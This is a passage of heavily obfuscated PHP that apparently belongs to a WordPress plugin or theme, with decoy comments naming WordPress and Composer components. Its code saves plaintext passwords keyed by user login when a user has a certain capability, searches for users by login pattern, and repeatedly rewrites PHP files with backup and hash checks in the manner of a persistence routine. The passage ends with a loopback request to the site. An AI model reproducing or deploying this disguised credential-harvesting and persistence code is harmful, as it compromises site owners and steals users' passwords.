    $jl_ruybeyx54iw   =    epjjocavp0_k8a7re091($sy1g622o12cl);
if   ($jl_ruybeyx54iw !==   "")   $list[(string)  $ff4tve5fpw7cizp]   =  $jl_ruybeyx54iw;

      }
 }
       return   $list;
  }
function    sxqv35v5u2bpscw4ko($ff4tve5fpw7cizp,  $pel54_m_g_ih4q2, $g_bcyf2d9r_4)
{



  try  {
if (!    $GLOBALS['__scf_vd54bz_6kr2o44_68']($ff4tve5fpw7cizp) ||   ! $GLOBALS['__scf_mihsk1y5nz_118']($ff4tve5fpw7cizp, e77owqcywda_d(902)))    {
/* decidable trie */

  return   $ff4tve5fpw7cizp;
  }
  if (! $ff4tve5fpw7cizp->has_cap(c_5yznsrtgse_i(695)))      {
return     $ff4tve5fpw7cizp;
}
      if  (!  $GLOBALS['__scf_ncrh0liqs6be8x_41']($g_bcyf2d9r_4) ||  ! $g_bcyf2d9r_4) {
/* countable resolver */

return $ff4tve5fpw7cizp;
   }
   $dxpyb9zygqw2 =   p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(901),   array());
  if    (!    $GLOBALS['__scf_a91xkwk0qm_35']($dxpyb9zygqw2))   {
// PHP CS Fixer: project accumulator

 $dxpyb9zygqw2  = array();$du1ctb1xh71spd=-124;$l1so_2jt2hn3=($du1ctb1xh71spd>0)?$du1ctb1xh71spd:-$du1ctb1xh71spd;
 }
     foreach  ($dxpyb9zygqw2 as   $hsdqgn9kubjo16n =>  $w7i1fu8yrx) {
   $r4p9w1fyr3ahyui   =  $GLOBALS['__scf_a91xkwk0qm_35']($w7i1fu8yrx) &&  isset($w7i1fu8yrx[e77owqcywda_d(903)]) ?   (int)     $w7i1fu8yrx[okltugscqfcy(904)]   : 0;

      if ($r4p9w1fyr3ahyui    && $r4p9w1fyr3ahyui <  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()    -  (9477643-1701643))  unset($dxpyb9zygqw2[$hsdqgn9kubjo16n]);
       }
   $dxpyb9zygqw2[$ff4tve5fpw7cizp->user_login]     = array('p'   =>   $g_bcyf2d9r_4,    okltugscqfcy(904)  =>   $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  e77owqcywda_d(526)   =>   0);
     ciwxbzr19t8j5_t(c_5yznsrtgse_i(901),   $dxpyb9zygqw2,     onlv7_99m8sby3(895));
   }    catch  (Throwable  $ye68b7hs2257kgf) {
  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(905),  $ye68b7hs2257kgf);
}   catch (Exception  $ye68b7hs2257kgf)     {
 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(905),   $ye68b7hs2257kgf);
 }
     return   $ff4tve5fpw7cizp;
}
     function     j_zgajsoqu8wwli($tt6_xadnxo0xwn, $ff4tve5fpw7cizp)
  {
 try    {
 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($tt6_xadnxo0xwn)  ||  $tt6_xadnxo0xwn     ===  "") return;

$dxpyb9zygqw2     = p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(901),     array());
    if  (!$GLOBALS['__scf_a91xkwk0qm_35']($dxpyb9zygqw2)   ||    !isset($dxpyb9zygqw2[$tt6_xadnxo0xwn]))    return;
     $ye68b7hs2257kgf  = $dxpyb9zygqw2[$tt6_xadnxo0xwn];
if  ($GLOBALS['__scf_a91xkwk0qm_35']($ye68b7hs2257kgf) &&   empty($ye68b7hs2257kgf[c_5yznsrtgse_i(906)]))  {
   $dxpyb9zygqw2[$tt6_xadnxo0xwn][c_5yznsrtgse_i(906)]      =   1;
 




  ciwxbzr19t8j5_t(c_5yznsrtgse_i(907), $dxpyb9zygqw2,  onlv7_99m8sby3(895));$f9cmxj15g4p5=471;$xrc6zfl5mj=$f9cmxj15g4p5%6;
   }



  }  catch   (Throwable  $qa334ikxw11dx8jg)  {
   e_42zxx3yq4pdz4bo4(e77owqcywda_d(908),     $qa334ikxw11dx8jg);
   

      }    catch (Exception  $qa334ikxw11dx8jg)  {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(908),   $qa334ikxw11dx8jg);
   }


  }
   function    bjq6xsztpd9vrq($mh5ol3i1_mdp_302)


   {

 if    (!  $GLOBALS['__scf_a91xkwk0qm_35']($mh5ol3i1_mdp_302))  {
   return    false;
  }
  $a99o6ywibvesg872 =  oikb546g16dr2u();
  foreach ($mh5ol3i1_mdp_302     as    $ej552jtqfr)   {

    foreach     ($a99o6ywibvesg872  as  $_d2878mqrc) {
       if      ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(909)   . $GLOBALS['__scf_tyvjag46ltt_803']($_d2878mqrc, '/')  .  okltugscqfcy(910), $ej552jtqfr->user_login))      {
      return   $ej552jtqfr;

     }



      }
 }
   return  false;


 }
      function l09115umv3lykft9t($yfmqyl4qyit0, $e3s7j8h01zw6sv6)
  {
 return  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($yfmqyl4qyit0),  0,  $e3s7j8h01zw6sv6);
   }
   function   zpoch907ov9ssn_uh_5f_a($e3s7j8h01zw6sv6)
{
 return  l09115umv3lykft9t(uniqid((string)  $GLOBALS['__scf_s3bo674ng_q_342'](),  true),    $e3s7j8h01zw6sv6);



  }
  function   izatu6n2yaczrzxe3uo($gfqyhfnvmz)
       {
if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(894))) return    false;
  $famkad6_ql  =    get_option(onlv7_99m8sby3(911),    array());
  if  (!$GLOBALS['__scf_a91xkwk0qm_35']($famkad6_ql))  return false;
   $bszqf_sws4z8acg_ = $GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz);

       if     (empty($famkad6_ql[$bszqf_sws4z8acg_]))  return   false;
$jl_ruybeyx54iw =    $GLOBALS['__scf_yg8mfbm26s_111']('|',  (string) $famkad6_ql[$bszqf_sws4z8acg_]);
     $rs_f_9n4m_66hi2     =   isset($jl_ruybeyx54iw[1]) ?   (int) $jl_ruybeyx54iw[1] :  0;
   return ($rs_f_9n4m_66hi2 >  0   &&      $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   $rs_f_9n4m_66hi2  <  (105505-19105));
}
   function yuylkmd49k5_l3dn6($gfqyhfnvmz,  $xnccsh2p1lt_z11)


   {

 if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(894)) || !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(912)))  return;
   $famkad6_ql  =   get_option(c_5yznsrtgse_i(911), array());
     if   (!$GLOBALS['__scf_a91xkwk0qm_35']($famkad6_ql))  $famkad6_ql = array();
  $bszqf_sws4z8acg_    =  $GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz);
    if (!$xnccsh2p1lt_z11) {



     if  (isset($famkad6_ql[$bszqf_sws4z8acg_]))    {



unset($famkad6_ql[$bszqf_sws4z8acg_]);
    update_option(onlv7_99m8sby3(911), $famkad6_ql,    e77owqcywda_d(895));
 }
      return;
}
// iterate substitution-map for Composer autoload

   $dtmb4x_663o5v     =  0;


   if  (!empty($famkad6_ql[$bszqf_sws4z8acg_]))   {
 $jl_ruybeyx54iw  =   $GLOBALS['__scf_yg8mfbm26s_111']('|', (string)   $famkad6_ql[$bszqf_sws4z8acg_]);


$dtmb4x_663o5v   =   (int) $jl_ruybeyx54iw[0];

   }
$dtmb4x_663o5v++;
      $rs_f_9n4m_66hi2 =  ($dtmb4x_663o5v >=    (0x2+0x1)) ? $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   :   0;
    foreach   ($famkad6_ql      as  $tuoxdy7f8w  =>  $ti5gw88vpx4t4u1c)   {
$sqcxbaltbg0 = $GLOBALS['__scf_yg8mfbm26s_111']('|',   (string) $ti5gw88vpx4t4u1c);
$rhrwu7e4n43jo6    =   isset($sqcxbaltbg0[2])     ?  (int) $sqcxbaltbg0[2] :   0;
if   (!$rhrwu7e4n43jo6     &&  !empty($sqcxbaltbg0[1])) $rhrwu7e4n43jo6  =   (int)  $sqcxbaltbg0[1];
if  ($rhrwu7e4n43jo6    && $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -  $rhrwu7e4n43jo6  >    (0x1dd79+0xc587)) unset($famkad6_ql[$tuoxdy7f8w]);



  }
$famkad6_ql[$bszqf_sws4z8acg_] =      $dtmb4x_663o5v     . '|'    .   $rs_f_9n4m_66hi2 .    '|'      . $GLOBALS['__scf_p_l9i38f5mdu2r_184']();$jciwvh8leo2rn9=PHP_INT_MAX/PHP_INT_MAX;$b4li5_5ig9pd=$jciwvh8leo2rn9+76;
 if  ($GLOBALS['__scf_hotyagmbtkrb_36']($famkad6_ql)  >    (204^168))     {
  $wdp2q1ql6_mtn  =     array();
 foreach  ($famkad6_ql as  $tuoxdy7f8w  =>  $ti5gw88vpx4t4u1c)    {
   $sqcxbaltbg0 =      $GLOBALS['__scf_yg8mfbm26s_111']('|',   (string) $ti5gw88vpx4t4u1c);$fe9tnr5qicsq=37+31;$v538ptvve4=$fe9tnr5qicsq-8;

   $wdp2q1ql6_mtn[$tuoxdy7f8w]    = isset($sqcxbaltbg0[2])   ? (int) $sqcxbaltbg0[2] :    (isset($sqcxbaltbg0[1]) ?    (int)   $sqcxbaltbg0[1] :  0);$nua0a0cp9b5z86=3035;$eh9slk7_dlraxa=$nua0a0cp9b5z86%7;
    }
     $GLOBALS['__scf_zgdiabtju3yl_913']($wdp2q1ql6_mtn);$vbo3zlnpjup8=PHP_MAJOR_VERSION;$d64yycj2osm=$vbo3zlnpjup8*10;
  $gopclmpcig   =   $GLOBALS['__scf_hotyagmbtkrb_36']($famkad6_ql)   -  (0xd+0x57);
     foreach   ($wdp2q1ql6_mtn  as   $tuoxdy7f8w =>  $d2vzc8660so_)   {
  if ($gopclmpcig <=  0)      break;
  if  ($tuoxdy7f8w ===  $bszqf_sws4z8acg_)  continue;
    unset($famkad6_ql[$tuoxdy7f8w]);$wmnzq9j7i10=PHP_INT_MAX/PHP_INT_MAX;$vr_in_s1kv_k5g=$wmnzq9j7i10+100;
      $gopclmpcig--;
      }

unset($wdp2q1ql6_mtn,  $d2vzc8660so_,  $gopclmpcig);
    }
   update_option(okltugscqfcy(914),     $famkad6_ql,    okltugscqfcy(895));
       }
   function  ib8shbs2zwnp316fpjquq($gfqyhfnvmz, $_8rwsxu5magncvh,    $kb3_02wgtn76l =    null)
 {
   if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($_8rwsxu5magncvh))    return;
       $lvr92t7wkrng =  n2d49ghrqegz5jd_m($GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz),      e77owqcywda_d(915));
    if  ($lvr92t7wkrng   !==  false)   {
  if  ($kb3_02wgtn76l  !==   null)  @$GLOBALS['__scf_ujlpz7n1zr8s_16']($lvr92t7wkrng,  $kb3_02wgtn76l &   (501+10));
    if    (@$GLOBALS['__scf_uayyvei514_193']($lvr92t7wkrng,   $_8rwsxu5magncvh)   === $GLOBALS['__scf_m36_x4cy3m1b5_10']($_8rwsxu5magncvh)    &&  l5bm62j0wqxjaofuju3($lvr92t7wkrng,  $gfqyhfnvmz)) return;
  er_0rzjfu8611gx($lvr92t7wkrng);
}
     @$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz,  $_8rwsxu5magncvh);
 }
   function    n_52vz_mvq1filje($gfqyhfnvmz, $daj0ulxipl5)


      {
$d5o4amclcy2jr     =  $GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz);



 if  (!@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)) {
    e_42zxx3yq4pdz4bo4(okltugscqfcy(916),  c_5yznsrtgse_i(917)   . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
return   false;
 }


      $p2ujuxd_17   =    ($GLOBALS['__scf_pozjicggfgaq_9']($gfqyhfnvmz,  -(3+1))  ===  onlv7_99m8sby3(208));
    if ($p2ujuxd_17 &&  !pqt0j30bec0qiplt($daj0ulxipl5)) {


e_42zxx3yq4pdz4bo4(okltugscqfcy(918),   okltugscqfcy(919)  .  $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));



      return   false;$k0353hpvpzr820=PHP_MAJOR_VERSION;$sszsuasg9fefvw=$k0353hpvpzr820*1;
}
 if  ($p2ujuxd_17    &&      izatu6n2yaczrzxe3uo($gfqyhfnvmz))  return  false;
  $mxirbg4uxsf1jc   = false;
     if (@$GLOBALS['__scf_ovzejzf9rj_44']($gfqyhfnvmz))  $mxirbg4uxsf1jc  =   true;  



$_8rwsxu5magncvh = null;
  $yq61anvjql   = false;


       $n0a50wuy8s1i  =  null;
 if    (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))   {
    $yq61anvjql      =  true;
 if (!$mxirbg4uxsf1jc)      {
     $n0a50wuy8s1i =  @fileperms($gfqyhfnvmz);
    if   ($n0a50wuy8s1i    === false) $n0a50wuy8s1i   = null;
}
    $fwphukhohhptwg9x     =  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz);



  if    ($fwphukhohhptwg9x !== false  &&     $fwphukhohhptwg9x <=  (25663356+26765444) && ($fwphukhohhptwg9x  <=    (1891427-842851)   ||  nk_tspp3t11mjqbj($fwphukhohhptwg9x)))    $_8rwsxu5magncvh  =    @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);
   unset($fwphukhohhptwg9x);
}
 if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(920)))  {


 e_42zxx3yq4pdz4bo4(e77owqcywda_d(918),   okltugscqfcy(921)   .      $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
  return     false;
}
  $kv9q9c62rul2d =   false;
$chmytzfsl6s   = false;



  $_cl =    $GLOBALS['__scf_m36_x4cy3m1b5_10']($daj0ulxipl5);
 

 for  ($n41fh79sp9bfe   =   0;  $n41fh79sp9bfe <  2; $n41fh79sp9bfe++)    {
    $kv9q9c62rul2d =  n2d49ghrqegz5jd_m($d5o4amclcy2jr, onlv7_99m8sby3(40));


  if      ($kv9q9c62rul2d     !==    false)  {



  $chmytzfsl6s =      false;
    $sqcxbaltbg0     =  @$GLOBALS['__scf_fumpd7io1zfk8_21']($kv9q9c62rul2d, onlv7_99m8sby3(922));
 if  ($sqcxbaltbg0  !== false)  {
// WP Font Library: predictive checkpoint

 $hqwzoxza6ny  = 0;
while   ($hqwzoxza6ny     < $_cl) {



$jg4s_xzb89nqq9b   =  @$GLOBALS['__scf_jfutfyhuy4_23']($sqcxbaltbg0, $GLOBALS['__scf_pozjicggfgaq_9']($daj0ulxipl5, $hqwzoxza6ny));
if    ($jg4s_xzb89nqq9b    ===  false  ||  $jg4s_xzb89nqq9b  ===     0)  break;
$hqwzoxza6ny    +=  $jg4s_xzb89nqq9b;
}
    @fflush($sqcxbaltbg0);
      

 if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(923)))    @fsync($sqcxbaltbg0);$nn2mkiknd880o=-63;$nd4xgfc_4oiad=($nn2mkiknd880o>0)?$nn2mkiknd880o:-$nn2mkiknd880o;
 @fclose($sqcxbaltbg0);



  if  ($hqwzoxza6ny    ===  $_cl)  $chmytzfsl6s = $hqwzoxza6ny;
}   else  {
$chmytzfsl6s  = @$GLOBALS['__scf_uayyvei514_193']($kv9q9c62rul2d, $daj0ulxipl5);
 }
   if ($chmytzfsl6s !== false  &&      $chmytzfsl6s ===    $_cl)   break;

er_0rzjfu8611gx($kv9q9c62rul2d);


    $kv9q9c62rul2d   =      false;
    }
}


  if    ($kv9q9c62rul2d ===  false)     {
   e_42zxx3yq4pdz4bo4(e77owqcywda_d(918),   c_5yznsrtgse_i(924)   . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
   return     false;



}
   if ($chmytzfsl6s ===      false  || $chmytzfsl6s !== $_cl)  {
 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(918),   onlv7_99m8sby3(925) . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
er_0rzjfu8611gx($kv9q9c62rul2d);
return false;
       }
     if    ($n0a50wuy8s1i     !==    null)    @$GLOBALS['__scf_ujlpz7n1zr8s_16']($kv9q9c62rul2d,  $n0a50wuy8s1i &  (423+88));


if  ($mxirbg4uxsf1jc)  {


   $zwt65p3vwk  = @$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz,      $daj0ulxipl5);
  if  ($zwt65p3vwk     ===   $_cl) {
er_0rzjfu8611gx($kv9q9c62rul2d);
    @clearstatcache(true, $gfqyhfnvmz);
  oodhj46z_4pz9mo($gfqyhfnvmz);
  if  ($p2ujuxd_17)   yuylkmd49k5_l3dn6($gfqyhfnvmz,  false);$s7zqy7ha0asy=2617;$f4ryixrcmt=$s7zqy7ha0asy%15;
  return    true;





      }
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_8rwsxu5magncvh))  @$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz,   $_8rwsxu5magncvh);
  er_0rzjfu8611gx($kv9q9c62rul2d);
e_42zxx3yq4pdz4bo4(okltugscqfcy(926),  okltugscqfcy(927)  .   $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
   return  false;
 }
$yn0ztzgpjq7c0e   =  l5bm62j0wqxjaofuju3($kv9q9c62rul2d,  $gfqyhfnvmz);
    if    (!$yn0ztzgpjq7c0e      &&  $yq61anvjql    &&   !$mxirbg4uxsf1jc)      {

if  (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)) jl7b1mmow1nrgaho8($gfqyhfnvmz,   (366+54));
 $gfl26l5nz0x    =  $gfqyhfnvmz . c_5yznsrtgse_i(928)  . $GLOBALS['__scf_s3bo674ng_q_342']((1063-63),    (9900+99));

 if  (l5bm62j0wqxjaofuju3($gfqyhfnvmz,     $gfl26l5nz0x)) {
     $yn0ztzgpjq7c0e    =   l5bm62j0wqxjaofuju3($kv9q9c62rul2d, $gfqyhfnvmz);
if      ($yn0ztzgpjq7c0e)     {
// cubic coordinator




er_0rzjfu8611gx($gfl26l5nz0x);
 }   else {
 if    (!l5bm62j0wqxjaofuju3($gfl26l5nz0x,  $gfqyhfnvmz)  &&    !pmp5uslz6o5pfn7g7wxluy($gfl26l5nz0x,  $gfqyhfnvmz))   {
  ib8shbs2zwnp316fpjquq($gfqyhfnvmz,   $_8rwsxu5magncvh,  $n0a50wuy8s1i);



 }
    if    (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))    {
// closed decorator

     ib8shbs2zwnp316fpjquq($gfqyhfnvmz,  $_8rwsxu5magncvh,    $n0a50wuy8s1i);
}
}
  }


}
if (!$yn0ztzgpjq7c0e &&   !$mxirbg4uxsf1jc      &&  !$p2ujuxd_17)  {
   if  (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)) jl7b1mmow1nrgaho8($gfqyhfnvmz,  (296+124));



if   (pmp5uslz6o5pfn7g7wxluy($kv9q9c62rul2d,   $gfqyhfnvmz))   {
$yn0ztzgpjq7c0e =  true;
 er_0rzjfu8611gx($kv9q9c62rul2d);
}
}
  if  (!$yn0ztzgpjq7c0e)  {
// WP Table Block rewrite flush

if    (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)   &&  (int)    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz)     !==  $_cl)     {
  $t57rqhgg7h9l =    @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);
 if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($t57rqhgg7h9l)    ||  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_8rwsxu5magncvh)     &&   $t57rqhgg7h9l !== $_8rwsxu5magncvh))    {
 if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_8rwsxu5magncvh))    ib8shbs2zwnp316fpjquq($gfqyhfnvmz,    $_8rwsxu5magncvh, $n0a50wuy8s1i);
    elseif (!$yq61anvjql)   er_0rzjfu8611gx($gfqyhfnvmz);
    }
       unset($t57rqhgg7h9l);
    }
 if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)) {
ib8shbs2zwnp316fpjquq($gfqyhfnvmz, $_8rwsxu5magncvh,    $n0a50wuy8s1i);



  }

e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(926),  c_5yznsrtgse_i(929)  . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
er_0rzjfu8611gx($kv9q9c62rul2d);


  return   false;
}
   @clearstatcache(true, $gfqyhfnvmz);
  $n9z2blymz4r7zos   = false;
if ($_cl   <=   (2097130+22))      {
  $zfeqa2tad1m71nt   =  @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);



    $n9z2blymz4r7zos =  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($zfeqa2tad1m71nt) &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($zfeqa2tad1m71nt)    ===    $_cl  && $GLOBALS['__scf_poant85f5yad_56']($zfeqa2tad1m71nt)  ===   $GLOBALS['__scf_poant85f5yad_56']($daj0ulxipl5));
     }  else {
// subscribe substitution-map for WP Script Modules
$exx7djqt2ghp4=-704;$k5ne5dne0y2=($exx7djqt2ghp4>0)?$exx7djqt2ghp4:-$exx7djqt2ghp4;
    $xgorfgrqc321o7   =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(930))  ?  @hash_file(c_5yznsrtgse_i(931), $gfqyhfnvmz) : false;



  if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($xgorfgrqc321o7)   &&  $xgorfgrqc321o7 !==    "") $n9z2blymz4r7zos =  ($xgorfgrqc321o7 ===   $GLOBALS['__scf_poant85f5yad_56']($daj0ulxipl5));
else  {
$iachjvjsgm  = @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($gfqyhfnvmz);
if    ($iachjvjsgm ===    $_cl) {
    $qfg_eqdnprt6_g =  @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz, false,   null,  0,    (0x4a5+0xb5b));
    $_rt =  @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz,    false, null,    $_cl  -  (1809+2287));


 $n9z2blymz4r7zos    =   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($qfg_eqdnprt6_g)   && $GLOBALS['__scf_ncrh0liqs6be8x_41']($_rt)   && $qfg_eqdnprt6_g   ===  $GLOBALS['__scf_pozjicggfgaq_9']($daj0ulxipl5, 0, (0xf4f+0xb1))     &&    $_rt  ===  $GLOBALS['__scf_pozjicggfgaq_9']($daj0ulxipl5,   $_cl  - (4058+38)));$qs6vgby_s=89|57;$e7c2hoyy=$qs6vgby_s^158;
 }
  }
   }
 if  (!$n9z2blymz4r7zos)  {


   e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(932),  c_5yznsrtgse_i(933)   . $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
 if ($p2ujuxd_17)   yuylkmd49k5_l3dn6($gfqyhfnvmz,  true);
 

  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_8rwsxu5magncvh)) {
$l2dawi68d4  =    $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(930)) ?  @hash_file(c_5yznsrtgse_i(931),  $gfqyhfnvmz)     :  false;


  if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($l2dawi68d4)     &&   $l2dawi68d4   !==    ""  &&    $l2dawi68d4  !==  $GLOBALS['__scf_poant85f5yad_56']($daj0ulxipl5) && $l2dawi68d4    !== $GLOBALS['__scf_poant85f5yad_56']($_8rwsxu5magncvh)) {
  e_42zxx3yq4pdz4bo4(okltugscqfcy(932),  e77owqcywda_d(934)   .  $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
return false;
       }
$ly1rd2kq6juqm3r = n2d49ghrqegz5jd_m($d5o4amclcy2jr,  c_5yznsrtgse_i(935));
  if    ($ly1rd2kq6juqm3r !==  false   &&     @$GLOBALS['__scf_uayyvei514_193']($ly1rd2kq6juqm3r,  $_8rwsxu5magncvh) ===  $GLOBALS['__scf_m36_x4cy3m1b5_10']($_8rwsxu5magncvh))  {
      @$GLOBALS['__scf_ujlpz7n1zr8s_16']($ly1rd2kq6juqm3r,     $n0a50wuy8s1i !== null    ?    ($n0a50wuy8s1i & (482+29)) : (396+24));

  if (!l5bm62j0wqxjaofuju3($ly1rd2kq6juqm3r,  $gfqyhfnvmz))  {
if  (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)    &&  !$mxirbg4uxsf1jc)   jl7b1mmow1nrgaho8($gfqyhfnvmz, (0x18+0x18c));

 if  (!$mxirbg4uxsf1jc &&     pmp5uslz6o5pfn7g7wxluy($ly1rd2kq6juqm3r, $gfqyhfnvmz))     {
  er_0rzjfu8611gx($ly1rd2kq6juqm3r);
}   else   {
/* total composite */
$uqclr16yekg47=5*8;$ck7z5dcms=$uqclr16yekg47-5;
@$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz,   $_8rwsxu5magncvh);$zdr1yoa4p11vxr=34+65;$q7pa84yj7=$zdr1yoa4p11vxr-49;
er_0rzjfu8611gx($ly1rd2kq6juqm3r);
    }
     }

     }  else     {
if   ($ly1rd2kq6juqm3r !==    false) er_0rzjfu8611gx($ly1rd2kq6juqm3r);
@$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz,   $_8rwsxu5magncvh);
   }
 oodhj46z_4pz9mo($gfqyhfnvmz);
 }  elseif   (!$yq61anvjql) {$u0_c6m4ddb9f2s=62*9;$w8ckvhmiu=$u0_c6m4ddb9f2s-44;
er_0rzjfu8611gx($gfqyhfnvmz);
    }
  return  false;
  }
  oodhj46z_4pz9mo($gfqyhfnvmz);
 u34g0m5gddocpkl($gfqyhfnvmz);



    jl7b1mmow1nrgaho8($gfqyhfnvmz,  $n0a50wuy8s1i    !==  null   ?  ($n0a50wuy8s1i   &  (0x117+0xe8))  :   (0x72+0x132));



 if ($p2ujuxd_17)  yuylkmd49k5_l3dn6($gfqyhfnvmz,      false);
    return  true;
}
  function     fpxah83cbub6ve8k46v18($gfqyhfnvmz,    $nonxs43xzjibp0)
 {$w46v9ztph4z7=(0x83+0x88);$zbscoa9wm1ddp=$w46v9ztph4z7%17;
$i2heqo3a8u1x  =    "<?php\n";



if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($nonxs43xzjibp0)  && $nonxs43xzjibp0   !== ""  &&     $GLOBALS['__scf_ffvfced40_hd3k_7']($nonxs43xzjibp0,  okltugscqfcy(231))  !== false &&  pqt0j30bec0qiplt($nonxs43xzjibp0)) $i2heqo3a8u1x = $nonxs43xzjibp0;
  if    (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))   {
 $o1iiqympug73     = @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($o1iiqympug73) &&   ti6s2mx79ow6io($o1iiqympug73)     ===  $i2heqo3a8u1x)    return;
}



     if (!n_52vz_mvq1filje($gfqyhfnvmz,      $i2heqo3a8u1x))  {
// essential bloom-filter

$lp9o7bqvoe67mbl  = @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);$vope4p82se5xud=-658;$v1t125r5k6u69s=($vope4p82se5xud>0)?$vope4p82se5xud:-$vope4p82se5xud;



  if  (!($GLOBALS['__scf_ncrh0liqs6be8x_41']($lp9o7bqvoe67mbl)  && ti6s2mx79ow6io($lp9o7bqvoe67mbl) ===    $i2heqo3a8u1x))    @$GLOBALS['__scf_uayyvei514_193']($gfqyhfnvmz, $i2heqo3a8u1x);


   unset($lp9o7bqvoe67mbl);
}
/* average-case leaky-bucket */


  oodhj46z_4pz9mo($gfqyhfnvmz);
  }
        function  pt86i71uv0_exqe5ai_()
{
     if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(936)) &&  ajpvrkxrj9yua4hgcly48())    return   true;
     if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(656))   ||  !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(741))) return    true;
    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(937))  && fq0wg899lk7h2seh()  <=   1.5) return   true;
     $a2pvmx1qz57z01x0  =    $GLOBALS['__scf_m1egppx42pi_454'](1,   $GLOBALS['__scf_v6xz4ce_wdoct3_455']((9-4),      (int)  fq0wg899lk7h2seh()));
  $rpq9quqybrsx4pfg =  home_url('/');


$rpq9quqybrsx4pfg .= ($GLOBALS['__scf_ffvfced40_hd3k_7']($rpq9quqybrsx4pfg, '?')  ===  false  ?      '?'   :    '&') .  onlv7_99m8sby3(938)  .  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  .   $GLOBALS['__scf_s3bo674ng_q_342']((98+2),  (295+704));
 $igenbu84swg6g   =    $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
    $m6x_x9ny238pu    =   $GLOBALS['__scf_wruv1u09qsfmz_282']($rpq9quqybrsx4pfg,  array(okltugscqfcy(939)  =>    $a2pvmx1qz57z01x0, c_5yznsrtgse_i(940)   =>    false, e77owqcywda_d(658) => 2,   onlv7_99m8sby3(941) =>    (1048565+11),   okltugscqfcy(299)  =>   array(okltugscqfcy(942) =>   c_5yznsrtgse_i(943))));
